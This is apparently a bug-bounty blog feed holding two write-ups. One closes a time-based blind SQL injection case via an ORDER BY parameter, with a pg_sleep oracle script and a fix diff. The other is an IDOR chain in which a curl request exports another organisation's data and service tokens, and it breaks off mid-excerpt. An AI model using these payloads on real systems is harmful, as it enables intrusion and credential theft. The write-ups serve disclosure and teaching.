<figure class="code"><div class="code-bar"><span class="code-title">Measured, five runs each</span><span class="code-lang">text</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="text"><code><span class="code-line"><span>condition true   4.19s  4.22s  4.18s  4.25s  4.20s</span></span><span class="code-line"><span>condition false  0.21s  0.19s  0.22s  0.20s  0.21s</span></span></code></pre></figure>
<p>A twenty-fold gap with no overlap. From there it is mechanical: one request per bit, binary search on each character.</p>
<ol class="steps">
<li><strong>Confirm the clause is mine.</strong> <code>dir: "asc, city"</code> changes the ordering with no error. No payload yet, nothing destructive, and it already proves concatenation.</li>
<li><strong>Build the timing oracle.</strong> Wrap any boolean in <code>CASE WHEN ... THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END</code>. Calibrate against the baseline before trusting a single answer.</li>
<li><strong>Fingerprint the context.</strong> <code>version()</code>, <code>current_user</code>, <code>current_database()</code>. This is what tells the program how bad it is: a superuser would have changed the severity.</li>
<li><strong>Confirm reachable tables.</strong> One query against <code>information_schema.tables</code> for the existence of <code>public.users</code>, and one <code>count(*)</code> on it. Existence and a number, not contents.</li>
<li><strong>Pull exactly one row.</strong> The email of the first account whose role is <code>admin</code>, to make the impact undeniable, then stop.</li>
</ol>
<figure class="code"><div class="code-bar"><span class="code-title">extract.py, the oracle in nine lines</span><span class="code-lang">Python</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="python"><code><span class="code-line"><span style="color:#FF9C7A">def</span><span style="color:#8FD3FF"> ask</span><span style="color:#A8A6CC">(</span><span style="color:#E8E6F5">condition</span><span style="color:#A8A6CC">:</span><span style="color:#7FE0DF"> str</span><span style="color:#A8A6CC">)</span><span style="color:#A8A6CC"> -></span><span style="color:#7FE0DF"> bool</span><span style="color:#A8A6CC">:</span></span><span class="code-line"><span style="color:#E8E6F5">    payload </span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC"> {</span></span><span class="code-line"><span style="color:#A8A6CC">        "</span><span style="color:#8BD6A0">postcode</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">75011</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#A8A6CC">        "</span><span style="color:#8BD6A0">radius_km</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#F5C04E"> 25</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#A8A6CC">        "</span><span style="color:#8BD6A0">sort</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> {</span></span><span class="code-line"><span style="color:#A8A6CC">            "</span><span style="color:#8BD6A0">field</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#A8A6CC">            "</span><span style="color:#8BD6A0">dir</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#FF9C7A"> f</span><span style="color:#8BD6A0">"asc, (CASE WHEN (</span><span style="color:#E8E6F5">{condition}</span><span style="color:#8BD6A0">) THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END)"</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#A8A6CC">        },</span></span><span class="code-line"><span style="color:#A8A6CC">    }</span></span><span class="code-line"><span style="color:#E8E6F5">    started </span><span style="color:#A8A6CC">=</span><span style="color:#E8E6F5"> time</span><span style="color:#A8A6CC">.</span><span style="color:#8FD3FF">monotonic</span><span style="color:#A8A6CC">()</span></span><span class="code-line"><span style="color:#E8E6F5">    session</span><span style="color:#A8A6CC">.</span><span style="color:#8FD3FF">post</span><span style="color:#A8A6CC">(</span><span style="color:#F5C04E">URL</span><span style="color:#A8A6CC">,</span><span style="color:#E8E6F5"> json</span><span style="color:#A8A6CC">=</span><span style="color:#8FD3FF">payload</span><span style="color:#A8A6CC">,</span><span style="color:#E8E6F5"> timeout</span><span style="color:#A8A6CC">=</span><span style="color:#F5C04E">20</span><span style="color:#A8A6CC">)</span></span><span class="code-line"><span style="color:#FF9C7A">    return</span><span style="color:#E8E6F5"> time</span><span style="color:#A8A6CC">.</span><span style="color:#8FD3FF">monotonic</span><span style="color:#A8A6CC">()</span><span style="color:#A8A6CC"> -</span><span style="color:#E8E6F5"> started </span><span style="color:#A8A6CC">></span><span style="color:#F5C04E"> 3.5</span></span></code></pre></figure>
<h2 id="proof">Proof</h2>
<figure class="shot"><img src="https://bughuntingjourney.com/_astro/sqli-extraction-redacted.iPiYP9p_.svg" alt="Terminal output of the extraction script: version, database user, table name and a single admin row, every identifying value masked." /><figcaption>Reconstructed for publication. The database user, the database name, the row count and the account itself are masked; only the shape of the output is readable.</figcaption></figure>
<h2 id="where-i-stopped">Where I stopped</h2>
<p>Forty-one requests in just under three minutes, at roughly one every four seconds because the oracle is the rate limiter. I read one row: a single admin email, partially, enough to show it was a real account and not a seed fixture. I did not dump the table, did not touch <code>password_hash</code>, did not enumerate other schemas, and did not try to write anything, which the single-statement driver would have refused anyway. The account whose email I read was never contacted.</p>
<aside class="callout callout-warn">
<p class="callout-label">Heads up</p>
<p>The temptation with a working oracle is to leave a script running overnight and report with the whole table. Do not. A row count and one record prove the same thing to a triager, and the difference between the two is the difference between a finding and an incident you caused.</p>
</aside>
<h2 id="impact">Impact</h2>
<p>Anyone on the internet, with no account and no token, could read any table the API role can see. That is the entire application schema: merchants, store addresses, staff accounts and their password hashes, and the order tables I deliberately never looked at. The database user is not a superuser and the driver sends one statement at a time, so there is no write path and no code execution from here.</p>
<p>CVSS puts this at <strong>7.5</strong>: confidentiality high, integrity and availability untouched. The program rated it <strong>critical</strong> anyway, and was right to. The formula does not know that the table contains password hashes for an authenticated back office, nor that a full read of this database would be a reportable data breach regardless of what the attacker then does with it. I reported it as high and said so; the gap between the score and the rating is worth stating in the report rather than quietly picking the bigger of the two.</p>
<h2 id="the-fix">The fix</h2>
<p>I sent two recommendations, deliberately separated, because they do not have the same cost or the same lifespan.</p>
<p><strong>Immediate mitigation, deployable the same evening:</strong> ignore <code>dir</code> entirely and hard-code the direction. The feature degrades to ascending-only sorting, which nobody will notice on a store locator, and the injection point closes within hours instead of within a sprint. They shipped this three hours after the report.</p>
<p><strong>Proper fix:</strong> stop validating the input and start using it as a key. Both <code>field</code> and <code>dir</code> should index into a lookup table whose values are constants written by the developer, so that nothing the client sends ever reaches the query string. This is stronger than any sanitiser, because it removes the category of mistake rather than the instance: there is no escaping to get subtly wrong during a refactor, and a reviewer can confirm the query is safe by reading ten lines rather than by reasoning about inputs.</p>
<p>I also flagged a third item as a nice-to-have rather than a fix: the <code>400</code> response echoes the full list of allowed column names, which handed me the schema for free. It is not the vulnerability, and I said so.</p>
<p>The team shared the diff afterwards and allowed me to publish it. It is the lookup-table version:</p>
<figure class="code"><div class="code-bar"><span class="code-title">api/stores/search.ts, as deployed</span><span class="code-lang">diff</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="diff"><code><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>const SORT_FIELDS = ['distance', 'name', 'city', 'opening_soon'];</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>const SORT_FIELDS = {</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  distance: 'distance_km',</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  name: 'name',</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  city: 'city',</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  opening_soon: 'opens_at',</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>} as const;</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>const SORT_DIRS = { asc: 'ASC', desc: 'DESC' } as const;</span></span><span class="code-line"><span style="color:#E8E6F5"> </span></span><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>  if (!SORT_FIELDS.includes(sort.field)) {</span></span><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>    return res.status(400).json({ error: 'invalid_sort_field', allowed: SORT_FIELDS });</span></span><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>  }</span></span><span class="code-line is-del"><span style="color:#FF8A7A"><span style="user-select: none;">-</span>  const orderBy = `${sort.field} ${sort.dir ?? 'asc'}`;</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  const column = SORT_FIELDS[sort.field as keyof typeof SORT_FIELDS];</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  const direction = SORT_DIRS[sort.dir as keyof typeof SORT_DIRS];</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  if (!column || !direction) {</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>    return res.status(400).json({ error: 'invalid_sort' });</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  }</span></span><span class="code-line is-add"><span style="color:#76D9A0"><span style="user-select: none;">+</span>  const orderBy = `${column} ${direction}`;</span></span></code></pre></figure>
<aside class="callout callout-note">
<p class="callout-label">Note</p>
<p>They removed the echoed column list on their own initiative, which was not asked for. Worth noting in a writeup when it happens: it says something about the team, and programs read these articles too.</p>
</aside>
<h2 id="takeaways">Takeaways</h2>
<ul class="takeaways">
<li><strong>An allowlist protects the field it checks, and nothing else.</strong> Here one of two values in the same object was validated. If a reviewer had looked at the line below, this would never have shipped. When you find a working allowlist, immediately look at what is next to it.</li>
<li><strong><code>ORDER BY</code> cannot be parameterised, so it is where injections survive.</strong> Placeholders only work for values. Any sort, any pagination key, any dynamic column name is concatenated by definition, which makes those parameters the first ones worth probing on an otherwise modern codebase.</li>
<li><strong>Map inputs to constants instead of validating them.</strong> A lookup table turns a validation problem into a type problem. The query then contains only strings the developer typed, which is a property you keep even after six refactors.</li>
<li><strong>Public endpoints get reviewed last and are reachable first.</strong> This one had no auth, no session, no CSRF token and no rate limit, because it has no data of its own. It sits in front of the same database as everything else.</li>
<li><strong>Calibrate an oracle before you believe it.</strong> My first approach inferred bits from result ordering and was wrong on some inputs without telling me. A noisy oracle does not produce an error, it produces a confident and incorrect dump, and you only find out when triage cannot reproduce it.</li>
</ul>]]></content:encoded>
      <enclosure url="https://bughuntingjourney.com/og/store-finder-order-by-sqli.png" type="image/png" length="0"/>
    </item>
    <item>
      <title>The export that handed out the owner role</title>
      <link>https://bughuntingjourney.com/writeups/export-owner-role</link>
      <guid isPermaLink="true">https://bughuntingjourney.com/writeups/export-owner-role</guid>
      <pubDate>Wed, 04 Nov 2026 00:00:00 GMT</pubDate>
      <dc:creator>@0xmel</dc:creator>
      <category>Insecure direct object reference</category>
      <description>An export-creation route that never checks which organisation you belong to, a notification parameter nobody validates, and an archive that ships the service tokens with it. Full chain to account takeover, zero victim interaction.</description>
      <content:encoded><![CDATA[<p>An “Export my data” button buried at the bottom of the billing settings, an organisation ID passed in the URL, and an archive that is a little too generous. Three details that are harmless on their own. Put end to end, they hand you the <code>owner</code> role on any organisation at <span class="redacted" aria-label="redacted" title="Redacted">██████████████</span>.</p>
<h2 id="recon">Recon</h2>
<p>The program is private and the invite landed at the end of September. The scope fits in three lines: <code>app.target.tld</code>, <code>api.target.tld</code>, and any <code>*.target.tld</code> subdomain that serves the application itself. No phishing, no denial of service, no testing against other researchers’ accounts. Standard stuff.</p>
<p>The product is a sales-team management tool sold to <span class="redacted" aria-label="redacted" title="Redacted">███████████████████</span>, with organisations, roles (<code>viewer</code>, <code>member</code>, <code>admin</code>, <code>owner</code>) and per-seat billing. I create two free accounts in two separate organisations: <code>mel+a@…</code> (organisation A, my playground) and <code>mel+b@…</code> (organisation B, my test “victim”). That is the one discipline that matters in this kind of research - always having two contexts on hand, so you can prove a boundary crossing without ever touching a real customer’s data.</p>
<p>First reflex: the JavaScript bundle. <code>app.target.tld</code> serves a Vite build, and the source maps are not there - a shame - but the chunk split is enough: fifteen files, one of which, <code>settings.*.js</code>, holds the entire admin area. I run it through <code>prettier</code> and grep for strings that look like API routes. A hundred and sixty come out. Three catch my eye because they match nothing I have seen in the UI:</p>
<figure class="code"><div class="code-bar"><span class="code-title">settings.b4f1c0.js - reformatted fragment</span><span class="code-lang">JavaScript</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="js"><code><span class="code-line"><span style="color:#FF9C7A">const</span><span style="color:#E8E6F5"> EXPORT_ROUTES </span><span style="color:#A8A6CC">=</span><span style="color:#A8A6CC"> {</span></span><span class="code-line"><span style="color:#8FD3FF">  list</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">    (</span><span style="color:#E8E6F5">org</span><span style="color:#A8A6CC">)</span><span style="color:#FF9C7A"> =></span><span style="color:#A8A6CC"> `</span><span style="color:#8BD6A0">/api/v3/orgs/</span><span style="color:#A8A6CC">${</span><span style="color:#E8E6F5">org</span><span style="color:#A8A6CC">}</span><span style="color:#8BD6A0">/exports</span><span style="color:#A8A6CC">`</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#8FD3FF">  create</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">  (</span><span style="color:#E8E6F5">org</span><span style="color:#A8A6CC">)</span><span style="color:#FF9C7A"> =></span><span style="color:#A8A6CC"> `</span><span style="color:#8BD6A0">/api/v3/orgs/</span><span style="color:#A8A6CC">${</span><span style="color:#E8E6F5">org</span><span style="color:#A8A6CC">}</span><span style="color:#8BD6A0">/exports</span><span style="color:#A8A6CC">`</span><span style="color:#A8A6CC">,</span></span><span class="code-line is-hl"><span style="color:#8FD3FF">  full</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">    (</span><span style="color:#E8E6F5">org</span><span style="color:#A8A6CC">)</span><span style="color:#FF9C7A"> =></span><span style="color:#A8A6CC"> `</span><span style="color:#8BD6A0">/api/v3/orgs/</span><span style="color:#A8A6CC">${</span><span style="color:#E8E6F5">org</span><span style="color:#A8A6CC">}</span><span style="color:#8BD6A0">/exports/full</span><span style="color:#A8A6CC">`</span><span style="color:#A8A6CC">,</span></span><span class="code-line is-hl"><span style="color:#8FD3FF">  secrets</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> (</span><span style="color:#E8E6F5">org</span><span style="color:#A8A6CC">)</span><span style="color:#FF9C7A"> =></span><span style="color:#A8A6CC"> `</span><span style="color:#8BD6A0">/api/v3/orgs/</span><span style="color:#A8A6CC">${</span><span style="color:#E8E6F5">org</span><span style="color:#A8A6CC">}</span><span style="color:#8BD6A0">/exports/full?include_credentials=true</span><span style="color:#A8A6CC">`</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#A8A6CC">};</span></span></code></pre></figure>
<p>The fourth entry is called nowhere in the bundle. It is just sitting there, most likely left over from an internal migration tool. That is the kind of thing worth an hour of attention.</p>
<h2 id="the-first-signal">The first signal</h2>
<p>In the UI, the export does exist, but in a very well-behaved form: Settings → Billing → “Download my data”, which produces a CSV of invoices. The matching request is clean.</p>
<figure class="code"><div class="code-bar is-http is-request"><span class="http-method">POST</span><span class="code-title">The export as the UI produces it</span><span class="code-lang">request</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line"><span style="color:#F5C04E;font-weight:bold">POST</span><span style="color:#E8E6F5"> /api/v3/orgs/8f21c4a0-7b19-4e2d-9a55-0c1e7f33b210/exports HTTP/2</span></span><span class="code-line"><span style="color:#7FE0DF">Host</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> api.target.tld</span></span><span class="code-line"><span style="color:#7FE0DF">Authorization</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc5YT<span class="tok-redact" aria-label="redacted value">████████</span></span></span><span class="code-line"><span style="color:#7FE0DF">Content-Type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">type</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">billing</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">format</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">csv</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<p>The ID in the URL is organisation A’s UUID. It is also sitting in cleartext in my JWT payload, under the <code>org</code> key. In other words, the server already has that information: if it reads it from the URL instead of the token, that is a choice, and it is very often a choice that comes with no verification attached. I swap the UUID for organisation B’s - which I get legitimately, by logging into the second account.</p>
<figure class="code"><div class="code-bar is-http is-response is-2xx"><span class="http-status is-2xx">202</span><span class="code-title">Organisation B, with organisation A's token</span><span class="code-lang">response</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="http"><code><span class="code-line is-hl"><span style="color:#E8E6F5">HTTP/2 </span><span style="color:#76D9A0;font-weight:700">202</span><span style="color:#8BD6A0"> Accepted</span></span><span class="code-line"><span style="color:#7FE0DF">content-type</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> application/json</span></span><span class="code-line"><span style="color:#7FE0DF">x-request-id</span><span style="color:#A8A6CC">:</span><span style="color:#8BD6A0"> 01JGQ8<span class="tok-redact" aria-label="redacted value">████████████████████</span></span></span><span class="code-line"></span><span class="code-line"><span style="color:#A8A6CC">{</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">export_id</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">exp_01JGQ8M2T4</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">status</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">queued</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC">"</span><span style="color:#7FE0DF">org</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">c37b9e51-…</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">}</span></span></code></pre></figure>
<p><code>202</code>. Not <code>403</code>. The server agreed to prepare an export for an organisation my token is not a member of. At this point I still have nothing: it remains to be seen whether the resulting file is retrievable, and what is in it.</p>
<h2 id="dead-ends">Dead ends</h2>
<p>The next two hours produced nothing, and that is normal. I am writing them down because writeups that never mention them give a false picture of the job.</p>
<p><strong>Dead end one: the download.</strong> The retrieval URL returned by the API points at <code>files.target.tld</code> with a signature. A <code>GET</code> on that URL with my organisation A token returns a clean, unambiguous <code>403</code>. So the access check does exist - it is just sitting in the wrong place, on the download rather than on the creation.</p>
<p><strong>Dead end two: enumeration.</strong> I try to list organisation B’s exports to grab a predictable ID. <code>GET /api/v3/orgs/{B}/exports</code> returns <code>403</code>. Only creation is broken. That kind of inconsistency between two verbs on the same route smells of middleware applied by hand, route by route.</p>
<p><strong>Dead end three: the <code>callback_url</code> parameter.</strong> The API accepts it, but after twenty minutes watching my listener, no outbound request ever arrives. It is probably ignored server-side, or reserved for enterprise accounts. No SSRF here.</p>
<p>What unblocks the situation is silly: the <code>notify_email</code> field, which I had spotted in the bundle and dismissed as incidental. If export creation does not check the organisation, maybe it does not check who it emails the download link to either.</p>
<h2 id="exploitation">Exploitation</h2>
<figure class="code"><div class="code-bar"><span class="code-title">exploit.sh - triggering the export</span><span class="code-lang">bash</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="bash"><code><span class="code-line"><span style="color:#9492B6;font-style:italic"># $TOKEN_A: a token for MY organisation. $ORG_B: the target organisation.</span></span><span class="code-line"><span style="color:#FF9C7A;font-weight:bold">curl</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">s</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">X</span><span style="color:#8BD6A0"> POST</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">https://api.target.tld/api/v3/orgs/</span><span style="color:#F5C04E">$ORG_B</span><span style="color:#8BD6A0">/exports/full</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">  -</span><span style="color:#F5C04E">H</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">Authorization: Bearer </span><span style="color:#F5C04E">$TOKEN_A</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">  -</span><span style="color:#F5C04E">H</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">Content-Type: application/json</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC"> \</span></span><span class="code-line"><span style="color:#C7A6FF">  -</span><span style="color:#F5C04E">d</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">{</span></span><span class="code-line is-hl"><span style="color:#8BD6A0">        "type": "account_full",</span></span><span class="code-line is-hl"><span style="color:#8BD6A0">        "include_credentials": true,</span></span><span class="code-line"><span style="color:#8BD6A0">        "notify_email": "mel@research.example",</span></span><span class="code-line"><span style="color:#8BD6A0">        "format": "json"</span></span><span class="code-line"><span style="color:#8BD6A0">      }</span><span style="color:#A8A6CC">'</span><span style="color:#A8A6CC"> |</span><span style="color:#FF9C7A;font-weight:bold"> jq</span><span style="color:#C7A6FF"> -</span><span style="color:#F5C04E">r</span><span style="color:#A8A6CC"> '</span><span style="color:#8BD6A0">.export_id</span><span style="color:#A8A6CC">'</span></span></code></pre></figure>
<p>Ninety seconds later, an email lands in my inbox with a signed link, valid for twenty-four hours. The link works with no token at all: the signature <em>is</em> the authorisation. The archive is 2.3 MB and contains twelve JSON files. The first eleven are business data - already more than enough for a report. The twelfth is called <code>integrations.json</code>.</p>
<figure class="code"><div class="code-bar"><span class="code-title">integrations.json - excerpt, values truncated</span><span class="code-lang">JSON</span><button type="button" class="code-wrap-toggle" data-wrap="" aria-pressed="false" title="Toggle line wrapping"><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><path d="M1.5 3.5h13M1.5 8h9.5a2.5 2.5 0 0 1 0 5H8"></path><path d="M10 11 8 13l2 2"></path></svg><span class="sr-only">Wrap lines</span></button><button type="button" class="code-copy" data-copy=""><svg viewBox="0 0 16 16" aria-hidden="true" width="13" height="13"><rect x="5.2" y="1.2" width="9.6" height="11.6" rx="2"></rect><path d="M10.8 14.8H3.2a2 2 0 0 1-2-2V4.2"></path></svg><span>Copy</span></button></div><pre class="code-pre" tabindex="0" data-language="json"><code><span class="code-line"><span style="color:#A8A6CC">{</span></span><span class="code-line"><span style="color:#A8A6CC">  "</span><span style="color:#7FE0DF">service_tokens</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> [</span></span><span class="code-line"><span style="color:#A8A6CC">    {</span><span style="color:#A8A6CC"> "</span><span style="color:#7FE0DF">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">ci-deploy</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span></span><span class="code-line is-hl"><span style="color:#A8A6CC">      "</span><span style="color:#7FE0DF">token</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">svc_live_7Qa<span class="tok-redact" aria-label="redacted value">████████████████████████</span></span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span></span><span class="code-line"><span style="color:#A8A6CC">      "</span><span style="color:#7FE0DF">scopes</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> [</span><span style="color:#A8A6CC">"</span><span style="color:#8BD6A0">orgs:read</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">orgs:write</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">members:write</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">],</span></span><span class="code-line"><span style="color:#A8A6CC">      "</span><span style="color:#7FE0DF">expires_at</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#FF9C7A"> null</span><span style="color:#A8A6CC"> },</span></span><span class="code-line"><span style="color:#A8A6CC">    {</span><span style="color:#A8A6CC"> "</span><span style="color:#7FE0DF">name</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">zapier</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">,</span></span><span class="code-line is-hl"><span style="color:#A8A6CC">      "</span><span style="color:#7FE0DF">token</span><span style="color:#A8A6CC">"</span><span style="color:#A8A6CC">:</span><span style="color:#A8A6CC"> "</span><span style="color:#8BD6A0">svc_live_1Kd<span 